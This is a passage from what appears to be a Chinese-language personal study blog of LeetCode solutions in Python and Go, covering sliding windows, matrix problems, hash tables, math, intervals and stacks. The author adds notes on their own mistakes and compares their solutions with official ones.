    total_len = word_len * len(words)
    word_map = {w: words.count(w) for w in words}
    ans = []
    n = len(s)
    for offset in range(word_len):
      left = offset
      seen = {}
      count = 0
      for right in range(offset, n - word_len + 1, word_len):
        word = s[right:right+word_len]
        if word in word_map:
          seen[word] = seen.get(word, 0) + 1
          count += 1
          while seen[word] &amp;gt; word_map[word]:
            left_word = s[left:left+word_len]
            seen[left_word] -= 1
            left += word_len
            count -= 1
          if count == len(words):
            ans.append(left)
        else:
          seen.clear()
          count = 0
          left = right + word_len
    return ans

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最快的方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def findSubstring(self, s: str, words: List[str]) -&amp;gt; List[int]:
    n = len(s)
    step = len(words[0])
    total_len = step * len(words)
    res = []
    for i in range(step):
      map_word_cnt = {}
      for word in words:
        if word not in map_word_cnt:
          map_word_cnt[word] = 1
        else:
          map_word_cnt[word] += 1
      match_cnt = len(words)
      right = i
      while right + step - 1 &amp;lt; n:
        left = right + step - total_len
        left_out = left - step
        if left_out &amp;gt;= 0:
          w_left_out = s[left_out:left_out+step]
          if w_left_out in map_word_cnt:
            map_word_cnt[w_left_out] += 1
            if map_word_cnt[w_left_out] &amp;gt; 0:
              match_cnt += 1
        w_right = s[right:right+step]
        if w_right in map_word_cnt:
          map_word_cnt[w_right] -= 1
          if map_word_cnt[w_right] &amp;gt;= 0:
            match_cnt -= 1
        if left &amp;gt;= 0 and match_cnt == 0:
          res.append(left)
        right += step
    return res

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/minimum-window-substring/&quot;&gt;76. 最小覆盖子串 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;滑动窗口 哈希表&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果min_len=len(s)会导致维护出错&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用哈希表还是不熟练
.items()忘了&lt;/p&gt;
&lt;p&gt;还有一个注意点是切片，切片左闭右开 &lt;code&gt;[left , right + 1)&lt;/code&gt; 老记错
&lt;code&gt;right-left+1&lt;/code&gt; 是长度&lt;/p&gt;
&lt;p&gt;滑动窗口从窗口为零开始，向右扩张，同时维护&lt;code&gt;window_counts&lt;/code&gt; ，一边向右添加一边保持左边没有额外的字符
就这样遍历，复杂度O(N) 600ms 击败44.06%&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def count(self, t: str) -&amp;gt; dict:
    t_count = {}
    for char in t:
      if char in t_count:
        t_count[char] += 1
      else:
        t_count[char] = 1
    return t_count

  def check(self, current_dict: dict, t_count: dict) -&amp;gt; bool:
    for char, required_count in t_count.items():
      if current_dict.get(char, 0) &amp;lt; required_count:
        return False
    return True

  def minWindow(self, s: str, t: str) -&amp;gt; str:
    t_count = self.count(t)
    window_counts = {}
    left = 0
    min_len = len(s) + 1
    result = &quot;&quot;

    for right in range(len(s)):
      char_in = s[right]
      window_counts[char_in] = window_counts.get(char_in, 0) + 1

      while self.check(window_counts, t_count):
        current_len = right - left + 1
        if current_len &amp;lt; min_len:
          min_len = current_len
          result = s[left : right + 1]

        char_out = s[left]
        window_counts[char_out] -= 1

        if window_counts[char_out] == 0:
          del window_counts[char_out]

        left += 1
    return result

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这次想法里面的问题所在是这块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def check(self, current_dict: dict, t_count: dict) -&amp;gt; bool:
  for char, required_count in t_count.items(): 
    if current_dict.get(char, 0) &amp;lt; required_count:
      return False
  return True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个循环的次数取决于 t 中有多少个 不重复 的字符
但是如果字典有27个字符的时候就很明显不合理了
而且check了非常非常多次，也浪费了很多的时间
看看这个代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def minWindow(self, s: str, t: str) -&amp;gt; str:
    need=defaultdict(int)
    for c in t:
      need[c]+=1
    needCnt=len(t)
    i=0
    res=(0,float(&apos;inf&apos;))
    for j,c in enumerate(s):
      if need[c]&amp;gt;0:
        needCnt-=1
      need[c]-=1
      if needCnt==0:
        while True:
          c=s[i]
          if need[c]==0:
            break
          need[c]+=1
          i+=1
        if j-i&amp;lt;res[1]-res[0]:
          res=(i,j)
        need[s[i]]+=1
        needCnt+=1
        i+=1
    return &apos;&apos;if res[1]&amp;gt;len(s) else s[res[0]:res[1]+1]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这边发现了defaultdict，这才知道leetcode已经import过了collections
那这块内容需要好好学一学,写到Python-algorithm去&lt;/p&gt;
&lt;h2&gt;矩阵&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/valid-sudoku/&quot;&gt;36. 有效的数独 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;这题只要判断是否合理，不需要解出来数独其实还好
一次遍历就行了
用set来创建集合&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def isValidSudoku(self, board: List[List[str]]) -&amp;gt; bool:
    rows = [set() for _ in range(9)]
    cols = [set() for _ in range(9)]
    boxes = [set() for _ in range(9)]
        
    for i in range(0,9):
      for j in range(0,9):
        num = board[i][j]
        if num == &apos;.&apos;:
          continue
        if num in rows[i]:
          return False
        rows[i].add(num)
        if num in cols[j]:
          return False
        cols[j].add(num)

        box_index = (i // 3) * 3 + (j // 3)
        if num in boxes[box_index]:
          return False
        boxes[box_index].add(num)
    return True
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/spiral-matrix/&quot;&gt;54. 螺旋矩阵 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;我的思路是用上下左右限制，有点复杂，维护起来也好累。。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def spiralOrder(self, matrix: List[List[int]]) -&amp;gt; List[int]:
    if not matrix or not matrix[0]:
      return []
    ans = []
    num_rows = len(matrix)
    num_cols = len(matrix[0])

    left, right = 0, num_cols - 1
    top, bottom = 0, num_rows - 1

    while left &amp;lt;= right and top &amp;lt;= bottom:
      for col in range(left, right + 1):
        ans.append(matrix[top][col])
      top += 1
      for row in range(top, bottom + 1):
        ans.append(matrix[row][right])
      right -= 1
      if not (left &amp;lt;= right and top &amp;lt;= bottom):
        break
      for col in range(right, left - 1, -1):
        ans.append(matrix[bottom][col])
      bottom -= 1
      for row in range(bottom, top - 1, -1):
        ans.append(matrix[row][left])
      left += 1
    return ans

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但看官方第二种解法是这样的
对于每层，从左上方开始以顺时针的顺序遍历所有元素。假设当前层的左上角位于 (top,left)，右下角位于 (bottom,right)，按照如下顺序遍历当前层的元素。&lt;/p&gt;
&lt;p&gt;从左到右遍历上侧元素，依次为 (top,left) 到 (top,right)。&lt;/p&gt;
&lt;p&gt;从上到下遍历右侧元素，依次为 (top+1,right) 到 (bottom,right)。&lt;/p&gt;
&lt;p&gt;如果 left&amp;lt;right 且 top&amp;lt;bottom，则从右到左遍历下侧元素，依次为 (bottom,right−1) 到 (bottom,left+1)，以及从下到上遍历左侧元素，依次为 (bottom,left) 到 (top+1,left)。&lt;/p&gt;
&lt;p&gt;遍历完当前层的元素之后，将 left 和 top 分别增加 1，将 right 和 bottom 分别减少 1，进入下一层继续遍历，直到遍历完所有元素为止。&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/rotate-image/&quot;&gt;48. 旋转图像 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;想法很多都不好实现。
没写，但是看到了一个逆天答案&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def rotate(self, matrix: List[List[int]]) -&amp;gt; None:
    matrix[:] = list(map(list, zip(*matrix)))
    for row in matrix: row.reverse()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/set-matrix-zeroes/&quot;&gt;73. 矩阵置零 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;思路非常简单，找到0的位置，然后直接改，这题目凭什么是中档题？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def setZeroes(self, matrix: List[List[int]]) -&amp;gt; None:
    &quot;&quot;&quot;
    Do not return anything, modify matrix in-place instead.
    &quot;&quot;&quot;
    rows = len(matrix)
    cols = len(matrix[0])
    temp = []
    for i in range(rows):
      for j in range(cols):
        if matrix[i][j] == 0:
          temp.append([i, j])

    for r, c in temp:
      for j in range(cols):
        matrix[r][j] = 0
      for i in range(rows):
        matrix[i][c] = 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但由于使用了temp存储，导致空间复杂度为O(M+N)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def setZeroes(self, matrix: List[List[int]]) -&amp;gt; None:
    m, n = len(matrix), len(matrix[0])
    flag_col0 = False
    
    for i in range(m):
      if matrix[i][0] == 0:
        flag_col0 = True
      for j in range(1, n):
        if matrix[i][j] == 0:
          matrix[i][0] = matrix[0][j] = 0
    
    for i in range(m - 1, -1, -1):
      for j in range(1, n):
        if matrix[i][0] == 0 or matrix[0][j] == 0:
          matrix[i][j] = 0
      if flag_col0:
        matrix[i][0] = 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个是leetcode官方给出的空间复杂度为O(1)的算法
如果&lt;code&gt;matrix[i][j]&lt;/code&gt;是 0，它就把这个信息记录在 &lt;code&gt;matrix[i][0]&lt;/code&gt;和 &lt;code&gt;matrix[0][j]&lt;/code&gt; 上，将它们也设置为 0。
这样一来，&lt;code&gt;matrix[i][0]&lt;/code&gt;就成了第 i 行是否需要置零的标记位。
同理，&lt;code&gt;matrix[0][j]&lt;/code&gt;就成了第 j 列是否需要置零的标记位。
很巧妙的直接使用原矩阵在不破坏的情况下标记并且置零，不额外开空间&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/game-of-life/&quot;&gt;289. 生命游戏 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;充满小巧思了
第一个小巧思是使用元组来传neighbor,然后python会自动解包，写起来好看
第二个小巧思是要判断当前状态：状态 1 和 2 都代表“原来是活的”，状态 0 和 3 都代表“原来是死的”
这样区分避免出现在修改过程中误判的情况，最后第二次遍历把状态再修正
和官方第二个题解差不多，但是官方只用到2&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def gameOfLife(self, board: List[List[int]]) -&amp;gt; None:
    &quot;&quot;&quot;
    Do not return anything, modify board in-place instead.
    &quot;&quot;&quot;
    m, n = len(board), len(board[0])
    neighbors = [(1, 0), (-1, 0), (0, 1), (0, -1), (1, 1), (1, -1), (-1, 1), (-1, -1)]
    for i in range(m):
      for j in range(n):
        alive = 0
        for dx, dy in neighbors:
          r, c = i + dx, j + dy
          if 0 &amp;lt;= r &amp;lt; m and 0 &amp;lt;= c &amp;lt; n:
            if board[r][c] == 1 or board[r][c] == 2:
              alive += 1
        if board[i][j] == 1 and (alive &amp;lt; 2 or alive &amp;gt; 3):
          board[i][j] = 2 
        elif board[i][j] == 0 and alive == 3:
          board[i][j] = 3
    
    for i in range(m):
      for j in range(n):
        if board[i][j] == 2:
          board[i][j] = 0
        elif board[i][j] == 3:
          board[i][j] = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;哈希表&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/ransom-note/&quot;&gt;383. 赎金信 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;用Counter自动计数
然后直接在本体上操作就行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def canConstruct(self, ransomNote: str, magazine: str) -&amp;gt; bool:
    if len(ransomNote) &amp;gt; len(magazine):
      return False
    magazine_counts = Counter(magazine)
    
    for char in ransomNote:
      if magazine_counts[char] &amp;gt; 0:
        magazine_counts[char] -= 1
      else:
        return False
        
    return True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样写也可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def canConstruct(self, ransomNote: str, magazine: str) -&amp;gt; bool:
    if len(ransomNote)&amp;gt;len(magazine) or len(set(magazine)) &amp;lt; len(set(ransomNote)):
      return False
    count = {}
    for i in magazine:
      count[i] = count.get(i,0)+1
    for i in ransomNote:
      if count.get(i, 0) == 0:
        return False
      count[i] -= 1
    return True
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/isomorphic-strings/&quot;&gt;205. 同构字符串 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def isIsomorphic(self, s: str, t: str) -&amp;gt; bool:
    if len(s)!=len(t):
      return False
    s2tdict={}
    t2sdict={}
    for sstr,tstr in zip(s,t):
      if sstr in s2tdict and s2tdict[sstr]!=tstr:
        return False
      if tstr in t2sdict and t2sdict[tstr]!=sstr:
        return False
      s2tdict[sstr]=tstr
      t2sdict[tstr]=sstr
    return True
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是zip()用法太别致了吧&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def isIsomorphic(self, s: str, t: str) -&amp;gt; bool:
    return len(set(s)) == len(set(t)) == len(set(zip(s, t)))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;被吓哭了
也许应该复习一下set()和zip()
set(t)创建的是t中所有&lt;strong&gt;不重复&lt;/strong&gt;字符的集合
zip(s, t) 会生成一系列的配对元组（tuple）：
(&apos;p&apos;, &apos;t&apos;), (&apos;a&apos;, &apos;i&apos;), (&apos;p&apos;, &apos;t&apos;), (&apos;e&apos;, &apos;l&apos;), (&apos;r&apos;, &apos;e&apos;)
这些配对就代表了 s 到 t 的映射关系。例如，第一个 &apos;p&apos; 映射到 &apos;t&apos;，&apos;a&apos; 映射到 &apos;i&apos;，第二个 &apos;p&apos; 也映射到 &apos;t&apos;。
因此映射和set()长度相同的情况下就可以得出结论&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/word-pattern/&quot;&gt;290. 单词规律 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;和上一题同一个道理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def wordPattern(self, pattern: str, s: str) -&amp;gt; bool:
    s2list=s.split(&quot; &quot;)
    p2list=list(pattern)
    return len(s2list)==len(p2list) and len(set(zip(s2list,p2list)))==len(set(s2list))==len(set(p2list))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;思路：&lt;code&gt;s2list&lt;/code&gt;和&lt;code&gt;p2list&lt;/code&gt;
首先两个长度要相等
然后要保证set出来的长度也相同
eg:
&quot;abba&quot;&quot;wow mom mom wow&quot;
set(list(&quot;abba&quot;))={&quot;a&quot;,&quot;b&quot;}
set(list(&quot;wow mom mom wow&quot;.split(&quot; &quot;)))={&quot;wow&quot;,&quot;mom&quot;}
set(zip(s2list,p2list))={(&quot;a&quot;,&quot;wow&quot;),(&quot;b&quot;,&quot;mom&quot;)}&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/valid-anagram/&quot;&gt;242. 有效的字母异位词 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def isAnagram(self, s: str, t: str) -&amp;gt; bool:
    s2list=list(s)
    t2list=list(t)
    scounter=Counter(s2list)
    tcounter=Counter(t2list)
    if scounter==tcounter:
      return True
    return False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实&quot;str&quot;可以直接到Counter里面去使用
直接&lt;code&gt;return Counter(t)==Counter(s)&lt;/code&gt;就结束了
或者也可以使用sorted(),&lt;code&gt;return sorted(t)==sorted(s)&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/group-anagrams/&quot;&gt;49. 字母异位词分组 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def groupAnagrams(self, strs: List[str]) -&amp;gt; List[List[str]]:
    anagram_map = defaultdict(list)
    for s in strs:
      sorted_s=str(sorted(s))
      anagram_map[sorted_s].append(s)
      
    return list(anagram_map.values())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复杂度是O(Nklogk)，有点高了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def groupAnagrams(self, strs: List[str]) -&amp;gt; List[List[str]]:
    if len(strs) == 1:
      return [strs]
    ans= {}
    for ss in strs:
      s = str(sorted(ss))
      if s not in ans : 
        ans[s] = [ss]
      else :
        ans[s].append(ss)

    return list(ans.values())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样一个道理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def groupAnagrams(self, strs: List[str]) -&amp;gt; List[List[str]]:
    mp = collections.defaultdict(list)

    for str in strs:
      key=&apos;&apos;.join(sorted(str))
      mp[key].append(str)

    return list(mp.values())
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/two-sum/&quot;&gt;1. 两数之和 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;哈希&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def twoSum(self, nums: List[int], target: int) -&amp;gt; List[int]:
    num_map = {}
    for i, num in enumerate(nums):
      complement = target - num
      if complement in num_map:
        return [num_map[complement], i]
      num_map[num] = i
    return []Q
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/happy-number/&quot;&gt;202. 快乐数 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;第一版
371 / 420 个通过的测试用例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def isHappy(self, n: int) -&amp;gt; bool:
    while n/10&amp;gt;1:
      if n==1:
        return True
      sum=0
      n2str=str(n)
      for num in n2str:
        sum+=(int(num))**2
      n=sum
      if n==1:
        return True
    return False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;while那边的判断条件写错了，看到测试用例7,在一开始就返回false了，但是迭代到最后是可以到1的&lt;/p&gt;
&lt;p&gt;第二版&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def isHappy(self, n: int) -&amp;gt; bool:
    seen = set()
    while n != 1 and n not in seen:
      seen.add(n)

      total_sum = 0
      n2str = str(n)
      for digit in n2str:
        total_sum += int(digit) ** 2

      n = total_sum

    return n==1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时间复杂度O(Log(N))，7ms在这个题目里算最慢的一档了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def isHappy(self, n: int) -&amp;gt; bool:
    result = []
    while n not in result:
      result.append(n)
      s = 0
      for i in str(n):
        s+=int(i)**2
      if s == 1:
        return True
      n = s
    return False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4ms
稍微快了一些&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/contains-duplicate-ii/&quot;&gt;219. 存在重复元素 II - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;思路：用map存，时间复杂度O(N)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def containsNearbyDuplicate(self, nums: List[int], k: int) -&amp;gt; bool:
    num_map={}
    for i, num in enumerate(nums):
      if num in num_map and i - num_map[num] &amp;lt;= k:
        return True
      num_map[num] = i
    return False
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;官方第二个滑动窗口
思路是维护k+1大小的set&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def containsNearbyDuplicate(self, nums: List[int], k: int) -&amp;gt; bool:
    s = set()
    for i, num in enumerate(nums):
      if i &amp;gt; k:
        s.remove(nums[i - k - 1])
      if num in s:
        return True
      s.add(num)
    return False

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/longest-consecutive-sequence/&quot;&gt;128. 最长连续序列 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;思路：去重，然后迭代，哈希表&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution:
  def longestConsecutive(self, nums: List[int]) -&amp;gt; int:
    num_set = set(nums)
    longest_streak = 0
    for num in num_set:
      if num - 1 not in num_set:
        current_num = num
        current_streak = 1
        while current_num + 1 in num_set:
          current_num += 1
          current_streak += 1
        longest_streak = max(longest_streak, current_streak)
    return longest_streak
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数学&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/palindrome-number/&quot;&gt;9. 回文数 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;func isPalindrome(x int) bool {
  if x &amp;lt; 0 || (x % 10 == 0 &amp;amp;&amp;amp; x != 0){
    return false
  }
  revertedNum := 0
  for x &amp;gt; revertedNum {
    revertedNum = revertedNum * 10 + x % 10
    x /= 10
  }

  return x == revertedNum || x == revertedNum / 10
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/plus-one/&quot;&gt;66. 加一 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;func plusOne(digits []int) []int {
  n := len(digits)
  for i := n - 1; i &amp;gt;= 0; i--{
    if digits[i] != 9{
      digits[i]++
      for j:= i+1; j &amp;lt;= n - 1;j++{
        digits[j] = 0
      }
      return digits
    }
  }

  digits = make([]int,n+1)
  digits[0] = 1
  return digits
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/factorial-trailing-zeroes/&quot;&gt;172. 阶乘后的零 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;func trailingZeroes(n int) int {
  ans := 0
  for i := 5; i &amp;lt;= n; i += 5 {
    for x := i; x % 5 == 0; x /= 5 {
      ans++
    }
  }
  return ans 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/sqrtx/&quot;&gt;69. x 的平方根 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;二分查找&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func mySqrt(x int) int {
  l, r := 0, x
  ans := -1
  for l &amp;lt;= r {
    mid := l + (r - l) / 2
    if mid * mid &amp;lt;= x {
      ans = mid
      l = mid + 1
    } else {
      r = mid -1
    }
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/powx-n/&quot;&gt;50. Pow(x, n) - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;初版 TLE 代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func myPow(x float64, n int) float64 {
  var ans float64 = x 
  if n &amp;gt; 0 {
    for i := n - 1; i &amp;gt; 0; i-- {
      ans *= x
    }
  } else if n &amp;lt; 0 {
   for i := n; i &amp;lt;= 0; i++ {
    ans /= x
    }
  } else {
    ans = 1.0
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AC&lt;/p&gt;
&lt;p&gt;快速幂+递归&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func myPow(x float64, n int) float64 {
  if n &amp;gt;= 0 {
    return quickMul(x,n)
  }
  return 1.0 / quickMul(x, -n)
}

func quickMul(x float64, n int) float64 {
  if n == 0 {
    return 1
  }
  y := quickMul(x, n /2)
  if n % 2 == 0 {
    return y * y
  }
  return y * y * x
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/max-points-on-a-line&quot;&gt;149. 直线上最多的点数 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;真恶心，谁面试出这题目我就敢光速跑路&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func maxPoints(points [][]int) (ans int) {
  for i, p := range points { 
    x, y := p[0], p[1]
    cnt := map[float64]int{}
    for _, q := range points[i+1:] {
      dx, dy := q[0]-x, q[1]-y
      k := math.MaxFloat64
      if dx != 0 {
        k = float64(dy) / float64(dx)
      }
      cnt[k]++
      ans = max(ans, cnt[k])
    }
  }
  return ans + 1
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;区间&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/merge-intervals/&quot;&gt;56. 合并区间 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;func merge(intervals [][]int) [][]int {
  if (len(intervals) == 1) {
    return intervals
  }
  sort.Slice(intervals, func(i, j int) bool {
    return intervals[i][0] &amp;lt; intervals[j][0]
  })
  res := make([][]int, 0)
  res = append(res, intervals[0])
  for i := 1; i &amp;lt; len(intervals); i++ {
    if (res[len(res)-1][1] &amp;gt;= intervals[i][0]) {
      res[len(res)-1][1] = max(res[len(res)-1][1], intervals[i][1])
    } else {
      res = append(res, intervals[i])
    }
  }
  return res
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/insert-interval/&quot;&gt;57. 插入区间 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;func insert(intervals [][]int, newInterval []int) [][]int {
  res := make([][]int, 0)
  i := 0
  n := len(intervals)

  for i &amp;lt; n &amp;amp;&amp;amp; newInterval[0] &amp;gt; intervals[i][1] {
    res = append(res, intervals[i])
    i++
  }

  for i &amp;lt; n &amp;amp;&amp;amp; intervals[i][0] &amp;lt;= newInterval[1] {
    newInterval[0] = min(newInterval[0], intervals[i][0])
    newInterval[1] = max(newInterval[1], intervals[i][1])
    i++
  }
  res = append(res, newInterval)
  for i &amp;lt; n {
    res = append(res, intervals[i])
    i++
  }
  return res
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/minimum-number-of-arrows-to-burst-balloons/&quot;&gt;452. 用最少数量的箭引爆气球 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;贪心&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func findMinArrowShots(points [][]int) int {
  res := 1
  sort.Slice(points, func(i, j int) bool{
    return points[i][1] &amp;lt; points[j][1]
  })
  arr := points[0][1]
  for i := 1; i &amp;lt; len(points); i++ {
    if points[i][0] &amp;gt; arr {
      res += 1
      arr = points[i][1]
    }
  } 

  return res
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;栈&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/valid-parentheses/&quot;&gt;20. 有效的括号 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;栈入门&lt;/p&gt;
&lt;p&gt;golang里面没用自带的栈&lt;/p&gt;
&lt;p&gt;因此使用切片来模拟栈&lt;/p&gt;
&lt;p&gt;就是当动态数组用了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func isValid(s string) bool {
  n := len(s)
  if n % 2 == 1 {
    return false
  }

  pairs := map[byte] byte {
    &apos;)&apos;: &apos;(&apos;,
    &apos;]&apos;: &apos;[&apos;,
    &apos;}&apos;: &apos;{&apos;,
  }
  stack := []byte{}
  for i := 0; i &amp;lt; n; i++ {
    if pairs[s[i]] &amp;gt; 0 {
      if len(stack) == 0 || stack[len(stack)-1] != pairs[s[i]] {
        return false
      }
      stack = stack[:len(stack)-1]
    } else {
      stack = append(stack, s[i])
    }
  }
  return len(stack) == 0
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/simplify-path/&quot;&gt;71. 简化路径 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;栈继续尝试&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func simplifyPath(path string) string {
  parts := strings.Split(path, &quot;/&quot;)

  stack := []string{}

  for _ , part := range parts {
    if part == &quot;&quot; || part == &quot;.&quot; {
      continue
    }
    if part == &quot;..&quot; {
      if len(stack) &amp;gt; 0 {
        stack = stack[:len(stack)-1]
      } 
    } else {
      stack = append(stack, part)
    }
  }
  return &quot;/&quot; + strings.Join(stack, &quot;/&quot;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;a href=&quot;https://leetcode.cn/problems/min-stack/&quot;&gt;155. 最小栈 - 力扣（LeetCode）&lt;/a&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;type MinStack struct {
  stack  []int
  minStack []int
}


func Constructor() MinStack {
  return MinStack {
    stack:  []int{},
    minStack: []int{},
  }
}


func (this *MinStack) Push(val int) {
  this.stack = append(this.stack, val)
  if len(this.minStack) == 0 {
    this.minStack = append(this.minStack, val)
